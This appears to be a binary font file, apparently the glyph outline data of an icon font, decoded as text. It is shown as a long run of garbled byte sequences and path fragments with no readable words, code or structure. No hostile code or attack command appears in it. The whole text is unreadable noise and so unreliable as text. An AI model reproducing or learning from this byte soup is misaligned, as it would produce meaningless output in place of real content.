."3W8.)T];#!"&546;;2=4+";2=4+""'.'&"+";26?212?62;264&##532   ȠPPPP +"       / I 8    HH )6  2     '0;#!"&546;6&+54&+"#"27#532   L A   A ` 8    P P`R G3#532&=#53546;#!"&546;;#" b `@@     Fb ` A@A |      373#"&=46%#532;#!"&=3?6/&#46;pp  7  ` ` Ƞ@       A ` ` A  *6BR%#5%#532;#!"&546;;2=4+";2=4+"54+";254&+";265  7   ȠPPPPPP   @@     HH ` &2m#532;#!"&546;;2=4+";2=4+">54./&546;2?6'&'54+"+"'&;25y 7   ȠPPPP -  -  W     HX          ;CL;#!"&546;&'654&+";26=3??6/76/#5327#532   E !!%P  ;   00 ɀ b8     !&%  0;   7  bA7@EO7;#!"&546;;&'.'&"+";26??62#5327#%'762     +"     b`DED (    /R )6  2  (bDD'0;#!"&546;26/&";;26=7#532   A `` A    8    ``P P &%"/&4?'&?67627'"/ Pu_V  VR  [1;;  ;Q  uP_V  VR 0;;  ;R @ "1%"&546?"/&4?'&?67627'"/@%6%  Pu_V  VR  [1;;  ;Q]#%%@  uP_V  VR 0;;  ;R  -A\n62#"&76'47'.76'4&'".76'&6&'.76'&767'.76'.'".676#"&54'&676'&'.#&#0#"&=&762 +>   " ;I   (Lm Q9     ' "&(X<9  GKl>60 rn ik `<*MK  GH  ML  FI)< #.><  79?1:kJ55 897O z,  ' V   <9R  fHJ* @`$2#"&'&?'&6>264&#"G0a@((@a0>p&X  W&p  `)7337)<*B nn B*<  '/$2"&4&2"&462"&4264&"24+"36264&"NΑΑP*<**<<**<*ΑΑ)<**<* h*<**<'2"&4264&"6'.#"7626264&"ΑΑ =(" 14)Α* "  32+"546;5'&63!2!!88J0**0j2"&446;.'+";2;2/&+";232?676?6?6=4&+"/&6?63232?65ΑΑ Y;  Z  /       ΑG :R               _n2"&4654/&+.#"/&54?632;26/&54?6;2?6/&?6//2?676767654'ΑΑJ  C       G    _ Α         G&     /d /*8m2"&4762;2=4/&4?&#"32?6;26=4/&?63254/&=4+"+"/&+";237632;2?6ΑΑ 3Su>     '     Α_N  & uS-  f        !%)-15=DK2"&45#375#"6264&"5#75#5#75#5#75#6264&"5#326=4&+ΑΑ(   5000p000p000`(  Α( 8( ((8((8((8((8((8((h(% (&2"&4"264&"2642676&"'&ΑΑU`Y // Α6'  '#22"&4%2767&'&"2767&'&"2676&"'&ΑΑ8+`Y // Α!" !" !" !" 6'  '+92"&4$"?626'&'"?626'.2676&"'&ΑΑ[&#  &  #  &   `Y // Α)))  6'  ' -AP"&5476227"&4632&"?626'&'"?626'.2676&"'&(**0 ΑgJ>/L&#  &  #  &   `Y // @77<03gΑ)!.)))  6'  '':2"&4?6&'&'&2676&"'&%>'.'.7ΑΑZFi`Y //  ΑF  6'  '  F#12"&46/764.?64/&2676&"'&ΑΑP!!!!PPX`Y // Α-0(( ((006'  ' /<JZ"&767622"&47667'676&&>'?6&/.?6.>'&26 * )!)yG!)yG Z  4]Z  4"k,<@PH)H) Gy) Gy) ([ 4   Z`"a$,k .G2"&4?6/76&/&"2676&"'&%6&/&"?6/ΑΑ_# F`Y // '# #Α ##   6'  '    ## 6FVd72"&476"'&'&61"&'?676&>32&'&&"?626'."?626'&2676&"'&f )S) Hr  ss   _?lE K&#  &  &#  &  `Y // H))G R9DD9R]:e=b)))6'  '%-K26=676&"'&.54264&"264&":#".=6362?>ΑYH * // * HY&    gO~.$  $.~OgW@%  ?   ;HU%:#".=6362?>26=676&"'&.5464/&?'76&6%&    ΑYH * // * HYP!!!! PPI@%  ?   lgO~.$  $.~OgA0((((00%8@^2"&4&26=676&"'&.546'.#"?62264&":#".=6362?>NΑYH * // * HY  % & 4&&4& &    gO~.$  $.~OgP    0&4&&4@%  ?   "1<62"4&"276'.#"?62&2676."Α7  % & Y`Y /YΑΑ     a '66'  `/?O_72+"&=46;2+"&=46;2+"&=463%2+"&=46;2+"&=46;2+"&=463`  @   @   @   @   @   @   @  @  @  @  @  @  @  @  @  @  @  @ @/?O_2+"&=4632+"&=4632+"&=4632+"&=4632+"&=4632+"&=463`  @  @  @  @  @    @  @  @  @  @   @  @  @  @  @  @ @ @  @  @  @  @  @ "@72+".=4>;2+"&=4632+"&=4&#"+"&=6  %  Ҕ  zV8`8   @&@ ip pVz8`8p piF7+"&=46;2#"&=46;22+"&46;23265454&"+"&=6 %%   %%Ҕ5% fzz  p %0% p %0%`i%5(VzzV i!77/'7'&54%'76DC#)#+3`3 + FC##* 3`3++ǩ';GS_ks&'&'&6;2+"'&'&'&6;2+"2#!"&=46;254+";2754+";2754+";2754+";2"&462+ + n+ +  %%%+o```6%%6%($> ($> ($> ($> @ %%% Spppppppp@%6%%6@-=M]ms#32+54&+"#"&=46;#"&=463!2;26=4&+";26=4&+"';26=4&+"26=4&+"334&"%54&+";26=4&+";260        &&&&&&3&38P8&&&&   P P        -&&e&&[&&&&(88e&&e&&7DQ&=4;2+"=46#"'6+"=4.'&=4;22#"./2!2+"&/<0(0$qYZ).00vYuV   v *AB>,9!,P8!W1/' %>>    p  -52"&4264&"4'654.'&7>264&"ΑΑ##") ΑW      5G2"&465."?624'654.'&7>765.#"?62ΑΑ #&#  & h##")A  #  & ΑK))      !)&.Ma%/&>7676#"&462&#.&264&"4'654.'&7>?626'.#"S  /4gΑ T## ) '   .! S   TΑg.,%#           %2"&4"264&"2642676&#!"3ΑΑU87Q  Q7ΑH6 6H.<2"&4?626'.#"?626'.#"6&#!";26ΑΑ  &  #   &      Q77QΑ6)!  !w 6HH#12"&46/764.?64/&6&#!";26ΑΑP!!!!PP  Q77QΑ0(( ((00 6HH!/2"&4?626'.#"&"2646&#!";26ΑΑ  &  %Z  Q77QΑ5      6HH ALP7"&=46;%+5322+"&547#"&547#"&5#"&=46;2#46;25#  @ 0 S((S 0 ` ``0`      p    000@ #/2"'&547.=462767'5%6hJrrw ,!!/  J4>>40? (%@%( 8 @ !+72"'&54264&"7.=462767'5%6hJrrm""w ,!!/  J4>>4^""I0? (%@%( 8  ?&7>'7'/&?6276^KK"r/ 75bW  i ! %KK"7 /rD5KbW  h $ 4'&6;2%2&'7632"&46&/&"?6/?/o o U o/?E ʒggg 44&  //  = ++ sggg6 // %4  42"&4264&"264&"ΑΑΑW!32"&42654'"&54724+"362654'"&547ΑΑX&4&""4&""ΑG&&&   p&&  &*!2#!"&=463!6?654&+";26p  M M0FF     [; L L&& +#76322++"&767.5#"&=463d  C6  6C c$   76732#!"&5463264&+"36264&"7#&- '' -V.  'j  %%  ;jKKjK-'1) )**h*#f)1 @ %%`   `KjKKj1)?'73264&"'766'OTc!] ];1#]$b!cT;] ]'T(b&7'73264&"'>%'762+  (] o99(5+](  B(99$67'&4?622?'762'&?%"/7?md Z  "> >,.q.(-qk  Z  d,> >d  Z "> >,.q.-(q k  Z e,> >.!2#!"&=4637&=46'46'%&'p   'f0 A db+ (&+     e  C   1 N 1!2#!"&=4637'&6?627'&6?63276+"p  AM(HhAc++.,     kS$4b!R21'$*2%//&?'#+"&546;276%3264&#-N  NN  N   (80$TN  `  `N  NN  NP  8($6TN  @.6J254&""'54&".546'.#"?62264&"76'.#"?62ΑA7  .d.  7A   % &9((  % & gBq!  !qBgG     &4&&4    #.2"&4"2642654'&"6264&">'&#"32ΑΑU(**3-F7Α776 !)-59%+"&5#"&5#"&5463!235#264&"75#264&"'3'#u  8P88P8  R``L((`((0PB o (88((88(  `((``((`=2##"'&7#"&?6&&/&?6>76327>o )"( C#+M b:  7:& *KJ 6 E=  8= ' %#3hG6! ''92"&4?626'.#"6&"'&276'.#"?62ΑΑp  &   #  #n#  -3  #  & ΑF  )  **  6!)(,048<@!2+"&=4>;53#!"&54>3!23'7#?#3'#73'3'#  07  7   j ` gFrj        B 1``pp``p``pA,2"'.543267>&'&'6768'SS''?D++D?'!FG"%;?QQ?;%$'88'$oo==o"%/&&?6/&6?6%">H6 F&3 &)'H!.L  C>"( 4949/!=  !)19AIQ#546;22"&42#!"&=463264&""&4622"&4&2"&462"&42"&4 @ (8 8(B//B/Mss`` m 8(  (8/B//B3s*5!2#!"&=46;26=4'&5463 @(8 @ 8(C  D-+ @@@8(  (8 (2,:+ *$ '#"/#"&?'&6?627// jj A ( ARr 3f&gDDg&Qg 6r#/;I2++"&=#+"&=#"&=46354+";2=4+";2'#546;2#5P     0`0   hPPPP2"&4264&"264&"6264&"ΑΑC4&&4&Α*&4&&4 (048%2#!>?465762'"&546;2264&"75#75#  ? K  9O8  j8@@@   K -(88(  _@@@@ hT\7&'76?6/&"'&+""2+"'"'"'+"&=46;276;2276;2276;23$"&462 D P(1d"dq 0  0 :&&t&&t&&: %JJ%1B//B/b 9 "& P      `/B//B4j%2+"'"'"'+"&=46;276;2276;2276;23%"'&'5462+"&=4&"35462+"&=4&"#5#p :&&t&&t&&: %JJ% 8P8   8P8          (88(   ``(88(    ` '&?66762%47#"&z   (-6,!2BIg    >@4_6I& (&-h#22"&46/764.?64/&"7626'&ΑΑP!!!!PPRM )) Α-0(( ((00>-  -3#"./.""&/&'&'&7>76676/676%   "" %2" #d   0)"2`>1(CS9"    "9SC(2="3 @# 3 1.7>>327/6'&2#!"&=46;7s-G'I!`+ .#:?f  I;&5463232&264&"`I <8(,< ))$ (8, %"2+"546;5.?4>;23'(4@ @4ru W77W uPP/7;%+32#!"&=46;5#"&?#"&?&5462+&"264#3{ p  p ^1 r(r 1V  `  ` `  a ~  ~   y "5#"'&"#"'&'&767676676'#'&7676763_' $+A A+$ '*$$*?#/++G0:  :0G++/#  % $  (/6BJV^%'"''&7&766267&'&'767*#">"6727&'76'&'66''6'&#"#"#2"&47W$|$W77W$|$Wk% , 2 `!!!! % K54 VV 45KK54 VV 45  # # %%x####( # #   `O%#"&'4.#!"#"&=46764'.=46323!2>5>32W,' ',,  ', $,   ,$  $,   ,$+"&462'&'.=46%2.=476`8P88P> F|  < |E DP88P8#   ")@%K2#"&'#"&547.547&5467&5463021>#"'#"&546320212&*&*(&"*&*&"&(&** (.( &( **x%& (+5HY%+"&=!+"&=&=46?>;2%!'.+":>54&#"!264&#":    "9 9  " N   !06   60!2 & 222 !  #/K2#!"&546;546;23546;254+";2%54+54+"#";;2=32  @  ` ` pp((((@   0 00 0((((*fz7&?6/.?6/&6?>?6/.?'/&'&?&'&?676?676767676%&>76&'&'&/&#"&>76 #  NA 2M  +=   %          { }     {  l)   .M  +=  NA 28+$/ 4 C 4. + ! 5 d   )6! +.O $,04<2+"&5#"&5#"&=46?>;2264&"75#;'#264&" (8 08P88P80 0! m|((xM&MY((8(P (88((88( p"z ((```((@Qh!2#!"&=46332'.=4&+!46;2327>=.=46;5462354626&+76&+";327P   2"'%%$4     : D ;     @  *x!..p`%%4$  v*  0 00 ` 3 kS'%"/&4?626/&#";2=37   {U p  `    N6 P@6'8@HPX`%2#"'##"&5475&546323632#0#23'"1"&46;7#264&"64&"2$"264264&"264&"%%%%% %%%%%''&%%&  w     @  `%6% %%%% %6%A A @%6%@b        7AE%'&?67&?'&?6'2#!"&=46;;267!463!2!: : $$ U $$ : :  &&  =@; ; $$  $$ ; ; && pP0&4?62'%/&4?2?/&4?2?   ;  : :  ,jjjjjIIjjII!;G7"&=463546;22++"&=2#!"&5463!2644%"=4;2#  @  ( $   5KK5Oq1     KjK@qOI7  `26A6#!"&='.=4>3235#"&=46;2+325'46?"&v F   88  8920 +$   /  _ 0   0A?>] +>0%#!"&5467&546;&546;2654'6323232#**#*%!/ (8%*O(**(#*%/!8(%*##%+"&=46;2$2"&4%#"&?62  KjKKjK߾ _ & _   3KjKKjk  7%/+"&=&/&6?'.?>546;276   @      @  r 8O O8 NN 8O O8 N +9GUcq2#!"&546354&+"26=4&";2654&+"26=4&";2654&+"26=4&";2654&+"26=4&";26 (88(@(88(@ @ (( @ P !.!!.! P P !.!!.! P @ (( @ 8((88(@(8@ @@@ q8 8!!X!!X q8 8!!X!!X y@ @@@ +9GWes2#!"&=46354&";26754&";26754&";26754&";262#!"&=46354&+"26754&+"26754&+"26754&+"26 (8%%8(@( @ !.! P !.! P ( @ %8(@(8%` @ ( P !.! P !.! @ (8(@%%@(8   8!!8 8!!8    % (88( %P    !! !!   (6HT\j7&>#"./&67632*#"0&'&567%.?>766676.67&'7676.'&6 ]F& #YJ gu$$ dY ,   SaAO6 ,  SF ." ,+ -2 # $D&' 91+   )H! A`) ,'*(O  .6>F3"&'.535.535.53546;23264&"6264&"6264&"  @ F\F %@$@$@ @((((((  &%,99, 2 & 1& 1  %&((d((d((15%2+.#"#."#"&=46;546;546;232%3'#2+/+"&=&'/&?&'#"&=46;67'&?667546;276264&"'2+/+"&=&'/&?&'#"&=46;67'&?667546;276264&"p '0&CBCLC   q SJ 3Q0                ((                ((   """   P `  h @`@                P((4                 P((7;CK%2+"&547#"&547#"&=46;546;546;232%3'264&"264&"p 2B\BDB\B2   q m0 M((<((   .BB. .BB.   @    @``(((( 3K?62"&472#!"&546326/.+";2?33754&+"&#"327;26` 6 6  F  **  55      $*<* @#/%2++"&=#"&=46;&5462&">54(  ` `  -%JlJ%E,     ;5AOOA5;"9 !(:B%#!"&5463!2;;26=326=4&+54&+"#"5!"3   )77)F 0   0 0   0 Z 4  7)@)7v  p p   0 0 @/3B$2"&454+54+";2'"!546;546;232&'5#!"&=33xTTxT & < @7.uPP  TxTTxB 6 L P001` *&0 -9EQ]iu2#!"&546;546;23546;23546;254+";2=4+";2=4+";254+";2=4+";2=4+";254+";2=4+";2=4+";254+";2=4+";2h   (  @  @  ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( (   h P PP PH  ( ( l( ( l( ( ( ( l( ( l( ( T( ( l( ( l( ( ( ( l( ( T2#"'#"547>7&54>'./&54;2?6&'&'54&+"+"'&;265Ԗj83AL92    2   zz329JV%      BOg#"'#"54767&5462;2=>54./&54>;2?6'&'54+"+"'&#"'#"&'32654'zV<3+.&zf -  -  Z.+3<@hc9HB^)3B^          6,qO P23#2++"&=#"&=46;546;2`  ` @ `  ` @ @ @    @ `  ` W]ciou}%2#'"/+"&57&'"/&4?&'"&=46367'&4?6267'46;2762'7&'67#677&'7&'6264&"67'367'?&' $  /;  ;/  $ $  /;  ;/  $ +Y%+ l@ L1 C +2:%+ l@ @1  ;/  $ $  /;  ;/  $ $  /;@ 11 % L%+ @ 1w1 % H%+ -T7"&=46;2#546;2+"&2?#!"&=%5!'54767546;>3232     F4```NN   P  r՗ FF  , , !2#!"&546;54&+";26`@`   @ @  52#!"&546;54&+54&+"#";;26=326`@` H  H H  H @ @ H H  H H Z/&='&63!22"&4>54&/&546;2?6'&'54+""+"'&;25?R;#Py^^^-    -  gCQ9 < ''^^^          eoy%2+5#5#5#33#54&+"#53535####"&=46;546;546;54623546235462354623232'354&+"54&+" P P @ P P     @  @  @    0  8   `  ``P P``  p P p    p P p00 @ @1?G%"/&5476;5462;2=462;2=4623226?."62"&4 f88f @       @00 200 = n<76&'&67654'&6323(!QM(;/)V  :)- **    **%5:  U)/`HXWE; )f<G+%74#A !  !   !   !A5% >+G=f)%#!"&5463!20#"/267#"'&54?<14'"'&?&''3276/764/7454&#"#'4"'&32?.547&547"'5!"3   )77)F% =N= %        Z 4  7)@)7v &11&  #  po ! @A .=KY%&546?626"/.=54&?6754&3766=4/&'6=4/&*  ,  PP``PP``l1PP1 OmR 66 "-$ nv~/612#".5'"&5475#"&46307'/&'&6765'&?.5467'&?7>54'&54764'6'76/82 5 P/  ))  /P 8 /< &!M,;;,L"& U ~s?'$= *!       !* AE  (/(F6$ 33 55 33 $6F(/( t && "" &&'7#!"&=4?62335335332!546;2#!"&=463    @`@`@ @    d % % Z 00 `     @'9=L:767#!"&=72"#".'.'5463%2+5.+54635#%#5463!2#"*+ @ @ ,)" ),   $`  @` @ & 0  0 ! " ` ! @@`  `&  '2=HS^it2#546;2#546;2#546;2#54636"&546?"&546?"&546?"&546?"&546?"&546?"&546?546;2+32#!"&=46;5#"&=46;2;546;2326 @  @  @  @ } s s s s s s    8( ` (8      @       .   .   .   .   .   .   . Ӑ (8@     @8(    CP3+"&%!&5476?2+54&"#54&/#54&"#"&=463#5467 @ CXE++EX  @ @    @ C8+5 5+8C< @  @H$ &H@  @ @! 0 h'&4?6"2#".5'546326=4&"+#".5463264&+&/&6;264&#"/&47632?6#".'&66iR;;%'  #/  )K5*A$  !1 &&!   (8% / q%  &'5;)d$4 &+ d !5K01&4& ( & $'$  $     $&#".'&'32#".'"'#"&463267&'#"'&&'&4>7>6767&'#".'&#"&463232>7'.5462627&5462327>32#"#"'7>"264$"264g  !   (  (   !       *#%6% : %6%#*         h   #8-%%-8#      !4"%%%%%%%%"4!  '    2"&44&'657677ΑΑWAY&s3&+E(ΑgCg g)rG"ir "?3N,/)g /%+54>?#"&5%#54&"#54?54?6m p mp `%6%`0 L L Q d L /  `%%` s K K s/?2#!"&546354&+";26754&+";26754&+";26p     `     `     `    @ @ /?%#!"&5463!2326=4&+"326=4&+"326=4&+"`    @ @ `p     `     `     ("&462'+"&46;'.?67676&6%%6%_#n\- 1&(': ! X !@%6%%6An1"#G!\!./ ! H )R2#"&=46?54?03>26=4#"/.=46226=4/&67621/& Zu M  z&/  M u '? / ` Q  M P ` / ?'  P M  Q1NV%#!"&5463!2"3237232/76&#/&"'"327654#0"#"&463:1324#&5!"3   )77)F  ;/DD/'88'u Z 4  7)@)7x CC`C8N8@$_%"/&=#"&462322654.#"7+"=&'&?6;2654/.54>354;2'&+"d8HVzzz, xT'B'+CCJ  d ,zzzVH8 T<'C&Tx+$OO$5  %57#"&'&6?535#546;272#546353#"&'&67( . W   s - ^)!HA  =W!HG;%//&?'&?67672+#"/#"&=46;2>3; ..  ..  ..  ..   b X,  Q :U ..  ..  ..  ..  0  0 jC 92#"&4632#0&#"3267#"/#"&?'&6?62T +.jj.,  W||W7 DD 7L" "  Ԗ || 6L$$L6  EE &),/25%+"/#"&?'&6;76232#'#3373'7#73'5 k8 * 8k 55 k8 * 8k B( 5p55p8.((.(Y$^^$YY$^^$!7XXX&8!!!&8! 'E762#547!#762'#54&#4?6'76&+'&"#";2?326F &r&  `-` H''''+  +f `'&]z f(((( FRUX^%'37'$2"&54737!;32?327654/7654&+'"#"$2"&54#''73@$Q((| < <  < < s(($,B!!B!!R @   `11 1 1 11 1 1 @   o88887;?267+32++"&=!+"&=#"&=46;5#"&=3355#xP 0 0     0 0 P`` ` @        @ ` `@@@@@@DH%+"&=#+"&=#+"&='&'&?5'&4?5'&6?%35!5!y7       7Y7 ww 7@/ 0 00 00 0 1@2@VV@2@@@@-6/#"&=46;//&?'&?676  Yf  fP-  ..  --  ..  y  Y `.  --  ..  --  %2"&4264&"&264&#"3"&462"&4ΑΑP88(PppP(8SΑm8P8pp8P@4DL";#";#";!!&'.7>/762#!"&=463264&"rip ' FF '  -- [% %@@@`@ MN  ? JJ p%  %`0LT\"&462#!"&5463!2";26=654??6/76/&'&5!"3"&462    )77)FB/ @ GGbbFFbb w  8   4  7)@)7&     ++**@8   #!2#!"&=46;'&?676%3p  5  ))  5t     JJ  88  J-7?G327+"&=32+"&54&"&4632>?"&=264&"264&"#!*    & (833@8P8@  Y  & `  & 8(V'`@(88(@P    7#546;2#54'#5##5#+"&=!+"&="&?63!2p0K5@5K0(000(N      j@5KK5.p pp p B<%+"&54674&5463263276&'654&#"&'&54632W*/!(8$8(, &5T%8( qO#)m_.!/8(1 (8&' A$(8 Pp F)F[DQ%#!"&54674&454632632%&?'&4?'&676276&'&"74632.?$8((84%B."6&R L SS X))X  !\B1#) ; 'z 1(88(&6.B$ & X))X SS Y !B\.#1$D/  '0:EKO7'"&?&=46&63''&4?6#76276/&>2".=7#'3'klMArQ =m__}LPujddd8.BY1b zbWBߜŰ #'&4?66&='46/&5   R ww e&] mt ]&;2+'54632264&"3+"&=#+"&=.5462 % 57  @ @ $`  %$.  0  Y6 pp  1 CI7&?>#"&?#!"&547>7.='&4?'&6;2+"/#77 u*x [ #H0  GUZ-3<<> K @  u W+*)EB<#/@ _6m 2 c  %  .&#"+"'&7'&54>32?547>323HV( #2" (?).F3I X! ) #" (VO?   0@P`p7+".767>%+"/&67622+"&=4632+"&=463/.7676"'&'&?6#''&'&?>2+"&=4632+"&=463'62+"5'67+"5+"5  a% * %@ ` ` `   S*   S *S  $ *I ` ` `  @   .+ h h  @ @ @ @   3$ 3+. 3  Z @ @ @ @   -Ohq;#!"&546;54+";2=4+"&=46;22654/&54;2=4+"+"374+"276=4+"&57#532   ` ,   `$$y 8        `  x7''7  DP`p#"546;2!5'&=;27;2732?>72=4+"&546;2'&+546;2"&=46;2#3"&=46;2#0    $%    # p&       @     X' $@@%5N  (   %?p      &.6/&/&"/&&546264&"264&"Rt + )) + lqQ  0 .. 0  PvG'%/&?'/&='6276"&47%; Z  $1Z//-  14% Z   1-//-$ 1%4'/mx32#54#32#54;2#54;2#54#54;2!32#54!2+32#!"&=46;5#"&=46;2;546;2326=4636"&546?"&546?%".546?"&546?"&546?2"&546?"&546?"&546?"&546? 8  H ` H  8( ` (8            (   C  2 (    xxxxxxxxxxxx p(8@     @8(p p   p   '   '   ' 0  '   '   '   '   '   ' $,!2#!"&=4637#7>?#?/7?/   o8V@@ @       @ " k @@    JR7#"'.7/.?>2+"&=#"/1"&='&54?>3235463&"&462Q#4   @:!  0 /W  /# \((5e  b" +   P/S  SV k/ @((>F2#+"&=#+"&="'+"&=4632546;2632>264&"E   @ 3z3 @ pPI7  #  `\     GG B^)1   P  AKS&/0+"&='+"/&54?&5457+"&=4636;46;2264&"@ !  @  B   4$+K5x G  sM   &f-! @i d D) 8 8$4!5K   G43+'7'#"&=265%/&/&7%62546;2  (hFN2+32+'32+";2+"&'&76=46;76;2"264267#7` 8(\7  PK@   p  l0(pP8 9  Mwf (82n  P   %*&.PpX   W;7 2"&=4$"6265427&"ړԖPp II 99:R>b;SS;b>/! ** !ZB"&462+"&46;%2+"/#"'.?'.?'&.6?6$((   M  C  6  >  U % (  '%,G*`(()N$ f W2 .W   (5 &2#"&=4&54'!2!!2#!265(P -P(8 P B.(8P @&'p8( .B8(#7?G/&/&6?'.?>76'.5462+"&76"264&"264     &TxT&  ~  ZZ EE ZZ E:"5KK5":   &?6S  M  =  9  Go'&54?>#/#+"&='"&547+"&=4?#/&?6;'&/&?637>23?632/&6?6#'&'   0/=  J7R7J  =/0  4 NE 5  2=$ $ $=2  5 EN s6N H(  Ha N Iw (==(wI N aH  O P  L44L  P H N6 @$,4<DL!#!"&7>=46264&"264&"264&"264&"62"&4264&"   8  I  I  I  P88P8S:J)1     Pp        ppp%6%%6muz$2"&4264&"2&#"#+"/+"&=&'"/&4?&'#"&=46;67'&4?6546;2354762264&"73'#H44H4Nh  3;$Q  ,   8f  oB//B/fn)kp4H44H< 3 3 0   ,   (.$ (/B//B``  (<#>32#7"&547367#'547"&%2+'72+654&+'327ZR@(\gB6jKbP0 *q7OP/!F*#L#D$,P2K5 5w0*=)D(`O7*!/`$,2+"./&"+"&5463264&"264&"`   :    e6%%6%e6%%6%   == @ %6%%6%%6%%6  A[72#"&'&6;232>'.+"&=4635"&=463!2676&#"+".7>#2&'&6;23264&+&'%9:+#5      N  !26( :-06D /+H " t /$,A,"           ' (.G T7. +' (&'"/&4?>7&?67'  M5ZN#L  zZzw  L#NZ5M  ^zZz-W62"&4$2"&4'#"'"'#"'&7&47&66266+&'&#&""#"&5467&54632632:12((((G  2  $ 2 #8(+ < +(8%B. 5%!/(`(((( 2    2 #$P8  8(2 .B!/! B8ER_l%#!"&5467<146326326#"&"'.'&'>32#"'&?>#"'&?>#"'&?>#"'&?>^%/!!/%8(1,+E+T: %2$ % [$ % [$ % [$ % ,!//!,(8(%5#+:P 5.@@@@@@@@+;J2#!"&5467&54632632:62"&546762#"&546762"&54>(88((8%B. 5%!/ "(" "  " "(@8P88(2 .B!/! 232 32   )7Ec6#"'.?>#"'.?6&#"'.?6$#"'.?6&#"'.?672#!"&5467&54632632: @ @m @ @ @ @ @ @S @ @;(88((8%B. 5%!/Q p p p p p p p p p p8P88(2 .B!/! @EP]jw%#!"&5467<146326321&?'&4?'&6762760"1"&7&54632#"'&?>#"'&?>#"'&?>#"'&?>%/!!/$8(1"; GG K##K  % Ib&D$ % [$ % [$ % [$ % ,!//!,(8(5 K##K GG P & @@@@@@@@1Jc|%'.'!'+"/&?67&'.7676326&#/&""?65'76&#/&""?65'76&#/&""?65'5!+"&=#+"&}  6&   K  +*  Q&C      ` @ @    Nl# c # +**Q$    퐐 PP  1U]emy2+"&54327.5>7327&'.5>7&'327&'.5>676.264&"6264&"264&"7264&"   ,>&3=1S?AW3+O-%>&3=+O-%&.T,+O-. 5!6H+O-%&.T,1N.1(A( 4$)    I     0  $ E V>  = t!E     (  / 9 / !)196"&4?6766264&"62"&42"&4   '-9r9DZjKKjKSI   aZ.@>9r9BL ^KjKKjuM  @ 5=RYf53+"&2+"/#".='0&5#".=46;2&"&462753"&5#"&'#"&?'46;#%2+"&5@    :)   &-Y((  @`    0 Q= 8   8+e   `&-`((D `     0 M%2#"&?#".576;27+76'&+76&+"#"&5467&546;2654'632324X; D|+/! D0!/+ &!/ (8&p  ax Ao.!/"x/!.&/!8(&@<Z6+"&=4&'&+"&=466+"&=4&'&+"&=466+"&=4&"+"&=46 SS   oSf   lW   B19T   _N5      +KQ V e tZ tV 3NM8 JrW0    #9 ";T!546;26&/&"?6/76&/&"?6/76&/&"?6/2'.=#+"&=#+"&=!26=463 ^BB^       )) ` `   @@B^^,    @'1 +p PP p @ /G%2#!"&=4632+"&=463!2#!"&=463'"&4632632632+"'p  @     P3!2?6/&'&`   @    @ J_) `  ` @@@@  K^)@,X%#&'"'"'"&=46767>7>7627#&'"'"'"&=46767>7>7627#&'"'"'"&=46767>7>7622+$)l+)l+) !  X  Y  !+$)l+)l+#, !  X  Y  !+$)l+)l+#, !  X  Y  @                         %="&462#"/&4?7#"'.?'6#5&/.>2?6B//B/   0 .=u. 0   )) )'b') /B//B' ! @  9339  @ ! '       2:B!46762+"&547"'"&54>7&5!5463264&" 4&"2o0+ !h 0<"/B/!F!/B/<&`6`" \   @K8+!//! !//!!8K@&B  go"&'62&.'632767632&7'&'&'&''&4767>.&76767&547632>54'&6264&"  'V' %, 54 ,$k6 +`2+=66>+2`+ 6 ) F2!7  ) ((P  P/C**C/P = Xb   bX= ?13H!8"0@(( 4I7&=46;22654.'&=467+"&5.'.=46+"&5.'".=46:D <)Ej 0 ( 0z   a Sv   S9 d=)< WD   2 z a   `vS :R   7!#!"&7;26=4&+"%2!546;546;23546;2@ ` ` P@0     ` ` 000 00 0 7!#!"&73!26=4&#!"%2!546;546;23546;2@    P@0     @ @ 000 00 0 ")-15;C#"/&67%>'&#"#"/&6?63267'7'?'?'77&'67')6  a     ! %,.O =<<Q - $=d9w!6  7 18>='''.  *'&&'&7276/>76/&67*."'f9 13  7SDX!"&#b.&29 1B 2 8 &"!XD +;K[_o%#!"&=4?>;5#"&=463!2+32;26=4&+"";26=4&#'#";26=4&'35#26=4&+"3;26=4&+"54+";2754&+";26754&+";26 @  U`  `      0  (        0   E[  [ @ ` ` @   G   P     @  x  W  +@V72/"/&4?'&637"&=46762#/&=46;26+"&?'&4?62  c c!   c c! c c  p  p !c c p !c c @ p !c c c  c! p   p  c cB C#'32%#73#5"&?6;2++"&=!+"&='#"&=46;'!0ac  ~~  c        ` ` @         %?N^#53##7/32210'&/&"&?6;#+"&='#"&=46;'%"&54676>'&'&'32=d~! c  '  c51    %4^^D4( '?3&XH > `  ` K7H6    !`A]]A&m/$(?/S!('132+5##5##5##5##"&=46;546;546;232 P @ @ @ P 0 0  0    0 0 0 07>Eeoy7#"&546;'&?6'&6?67>763253#"&53#2#5+#546;&54632632#3&#"7654&#"36            )   ( 7!!7 (5  5   `   66   ``   ``  ,KK, 0  09=A%'&6?'#"&/#"'/&7>7.?>76767'7' ' (?  ?( ' '%W rr W%'_$p$_C h.'KK'.h C  fW( 00 (Wf  G'@..@'2#!".'&63!!889e@cs2"&44&#"+;2=732;2?6;2;2=4?6=46;2+";2;6$;2?6=4&">7#"/&+'&+";2ΑΑuS(    %       }5W  +  + ΑgSu            !  8- %   ` %2#!"&=463%2#!"&=463                +"&546;2+"&546;2`         0     )1"'.767>767>7&4?62264&" D  7#mT #&K"6 D  ((  D 6"K&# Tm#6  D (("/&6?>'7'6$!!$"b&`0`"&a"v%i((i%#W@@h#@j"&4622462"&"&462&54'&>367>'&'&636762'&'.7676&'"'6'&5<546((@(((((@  72   94 27   49  ((((`((=3    :2   1:   +3   /7%+"/#"&'.+"&=4>?6264&". 3 ./   7") %B0 0%zt( @  &R Q?bU;K 6!8"'"/"/"'&63!2WB. ". ,$ W,l}@ '08!>32#47%#534'3+#."#553#"&62#54@'~J`Bp?B 2:F:2 P8~;EC=_=C@`  ##``8(``(%2#!"&=463$!'&>76p  e(H0@te  @ @ "5W:e@:(:B&'&'&6;2+"7&'&'4>;2+"2++"&=463264&+#  n# .BB.8((8 p.#1 , #1, B\B(88( (` "/%4'7>#"'.?2&"&462%"&5>76H&Q,6 Q7|7Q-(( 6,Q&, `8 D   (( 8` , &.6>%4'7>#27"'.7'"&7676"&462"264"&4628*4$*"H"C 4*ΑΑlll#C*B6 C  y B*C#Αllll )9V"&462"&462++"&=#"&?6727%2+"&5463++"&=#"&=46724&&4&Z4&&4&? 7 0 7 .8   |    P  8@&4&&4&&4&&4 h  h         7;?%"//"&46327'&67>7'&4?62762%7'7' a  P k l'Z( Q a  P0  / 0EIEIEI  a Q (Z'l k Q  a Q0 /  09EIEIEI-B7.7>7&5462#"'+"&5.'.=46+"&5.'".=46t9b u z   a Sv   S9 fta9u >z a   `vS :R   2#!"&575#35#35#@&&& 